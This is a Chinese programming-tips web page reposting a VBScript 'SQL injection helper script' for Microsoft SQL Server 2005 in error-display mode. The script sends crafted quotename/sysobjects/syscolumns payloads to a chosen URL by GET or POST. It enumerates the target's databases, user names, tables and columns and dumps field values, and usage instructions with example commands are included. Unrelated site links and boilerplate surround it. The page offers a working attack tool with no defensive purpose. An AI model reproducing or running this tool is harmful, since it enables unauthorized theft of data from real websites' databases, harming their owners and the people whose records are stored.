位置: 编程技术 - 正文

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

编辑:rootadmin
作者:Tr4c3 '为了保持脚本的通用性,放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。 '欲返回韩文等字符可修改或者行,更多的设置要自己修改 '更多功能请大家自己加入 Const method = "Get" '提交方式请修改此处,有get和post可选 Const DisPlay = "D" 'S 保存到文件,D输出到屏幕 Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD strUrl_B = " '基于注射点的不确定性,此处请手工更改 i = 1 '库的基数 k = 0 '表和字段的基数 MyArray = Split(strUrl_B, "?", -1, 1) strUrl = MyArray(0) '取url strArg = MyArray(1) '取参数 Set Args = Wscript.Arguments If Args.Count = 0 Then ShowU End If 'If Args.Count =1 And LCase(Args(0)) '************************************************************************ ' 爆库 '************************************************************************ If Args.Count =1 Then If LCase(Trim(Args(0)))="databases" Then ResuT("---------------===============================--------------") ResuT("All The DataBases:") Do strData = " and quotename(db_name("&i&"))=0--" sqlInj(strData) i = i + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit ElseIf LCase(Trim(Args(0)))= "info" then ResuT("---------------===============================--------------") ResuT("The Current Database is:") strData = " and quotename(db_name())=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The database User is:") strData = " and quotename(user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The System_user is:") strData = " and quotename(System_user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") Wscript.Quit End If End If '************************************************************************ ' 爆表 '************************************************************************ If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then ResuT("---------------===============================--------------") ResuT("The Tables Of " & Args(0)) Do strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char() AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char()))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段 '************************************************************************ If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then Database = Args(0) Table = Args(1) TarGet = DataBase & ".dbo." & Table TarGetCol = Database & ".DBO.SYSCOLUMNS" ResuT("---------------===============================--------------") ResuT("The Columns Of " & TarGet) Do strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段值 '************************************************************************ If Args.Count=4 And LCase(Trim(Args(3)))="values" Then Database = Args(0) Table = Args(1) col = Args(2) Target = Database & ".dbo." & Table ResuT("---------------===============================--------------") ResuT("The Values Of " & Args(2) & " in "&Target) Do strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If Sub SqlInj(value) If UCase(method) = "GET" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "GET", strUrl &"?" & value , False objXML.SetRequestHeader "Referer", strUrl 'objXML.SetRequestHeader "Accept-Language", "EUC-KR" objXML.send() strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If ElseIf UCase(method) = "POST" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "POST", strUrl, False objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objXML.SetRequestHeader "Referer", strUrl objXML.send(UrlEncode(value)) strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If End If End Sub Function ResuT(strInfo) If UCase(DisPlay) = "S" Then Set fso = CreateObject("Scripting.FileSystemObject") Set fso1 = fso.OpenTextFile("result.txt",8,True) fso1.WriteLine(strInfo) fso1.Close Set fso = Nothing ElseIf UCase(DisPlay) = "D" Then Wscript.Echo(strInfo) End If End Function Function UrlEncode(str) str = Replace(str," ","+") UrlEncode = str End Function Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Sql注射辅助脚本(粗糙版),用于mssql显错模式 By Tr4c3[at][Dot]com") .Echo("Usage:") .Echo(" cscript"&.ScriptName&" info--爆基本信息") .Echo(" cscript"&.ScriptName&" databases--爆所有库名") .Echo(" cscript"&.ScriptName&" pubs tables--爆库pubs里所有用户表名") .Echo(" cscript"&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名") .Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub

推荐整理分享Sql2005注射辅助脚本[粗糙版](sql注入攻击代码),希望有所帮助,仅作参考,欢迎阅读内容。

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

文章相关热门搜索词:sql注入神器,sql注入的辅助工具,sql 注入工具,sql注入修复方式,sql注入修补方法,sql注入修补方法,sql注入脚本编写,sql 注入工具,内容如对您有帮助,希望把文章链接给更多的朋友!

sql 不允许进行远程连接可能会导致此失败的解决方法 (provider:命名管道提供程序,error:-无法打开到SQLServer的连接)网站的数据库连接语句为:Server=.0.0.1;uid=sa;pwd=xxx;database=xxx经测试把server=.0.0.1改为server=.

MSSQL数据库备份导入MSSQL 转到的步骤1.生成for版本的数据库脚本的mangerstudio--打开"对象资源管理器"(没有的话按F8),连接到你的实例--右键要转到的库--任务--生成脚

MS-sql 拒绝了对对象 'xxx' (数据库 'xxx',架构 'dbo')的 SELECT 权限的解决方法 问题:Sqlserver默认设置下不允许远程登陆1外围设置tcp/ip和namedpipe同时启用2服务器--〉属性--〉安全性--〉sqlserver和windows认证模式问题:拒绝了对对象'xx

标签: sql注入攻击代码

本文链接地址:https://www.jiuchutong.com/biancheng/319242.html 转载请保留说明!

上一篇:SQL Server 2005恢复数据库详细图文教程(sql server怎么恢复)

下一篇:sql 2005不允许进行远程连接可能会导致此失败的解决方法(不能防止sql注入)

  • 刚打完发票可以注销税控盘吗
  • 缴纳上个月增值税要先计提吗
  • 调整上年度损益
  • 税务局的信用等级是多少
  • 企业购买理财都需先交税再提现吗
  • 民办非企业业务主管单位职责
  • 两地拿工资怎么扣个税
  • 财务月末结转成什么账户
  • 合伙企业个人所得税怎么申报
  • 现金管理规定有哪些主要内容
  • 小规模企业发票跨月可以作废吗?
  • 库存商品未入库
  • 租赁汽车油费可以抵扣吗
  • 新成立公司注资流程
  • 营业外收入个税手续费返还
  • 股权减资会计处理
  • 股东投资款印花税多少
  • 纳税人必须关注的10个涉税风险点
  • 增值税附加税什么情况交
  • 专用发票不抵扣联可以当普票用吗?
  • 房地产开发劳务合同范本
  • 法人实名认证后没有绑定企业怎么办
  • 预收购货款的会计分录
  • 印花税的征收项目
  • 一般纳税人销售二手车增值税税率
  • windows10如何更改时间
  • php 反射 性能
  • thinkphp操作数据库
  • 扣缴义务人需要办理税务登记吗
  • 解决出现问题的人
  • php数组操作
  • 企业取得的分红款要交税吗
  • 不抵扣的进项税怎么做账
  • 注册公司时的注册资金
  • php读取php文件内容
  • ci框架如何做api
  • python快速检索
  • 10年未被强制修复!黑客利用Windows旧漏洞攻击通信公司并分发恶意文件
  • move命令移动文件夹下所有文件
  • 小规模季报所得税不超多少不用交税
  • 注册公司行业分类有多少种
  • 直接人工不包括哪些
  • phpcms目录结构
  • 没有发票的福利支出如何入帐
  • 预收货款开票怎么做账
  • 交易性金融资产属于流动资产
  • 销售原材料的差价怎么算
  • 季度所得税计提分录
  • 确认借款无法收款怎么办
  • 运输费和货款一样吗
  • 幼儿园增值税优惠政策
  • 给聘用人员每月多少钱
  • 企业专家咨询费标准
  • 购买国家机关证件罪量刑标准
  • 小规模纳税人租赁费税率
  • 工程未完工开了发票怎么做账
  • centos双网卡配置
  • 如何移植操作系统
  • version 2什么意思
  • ubuntu16.04火狐打不开网页
  • linux中sed详细用法
  • 怎么在ubuntu上编程
  • win7怎样添加开机启动项
  • 无法登录所请求的数据库 用户sa登录失败
  • centos7.6安装kvm
  • linux swap分区必须吗
  • Win7/Win8.1/Win10命令行配置静态IP地址方法
  • windows中复制文件的几种方法
  • win7清洗打印机喷头步骤
  • jquery validate.js表单验证入门实例(附源码)
  • java script教程
  • android集成chromiumview
  • javascript中的继承
  • windows node.js
  • eclipse怎么写python程序
  • python中的set方法
  • 重庆经开区属于哪个大区
  • 河北税务云办税厅官方
  • 河南税务局发票查询系统
  • 浙江欧派和广东欧派哪个好
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设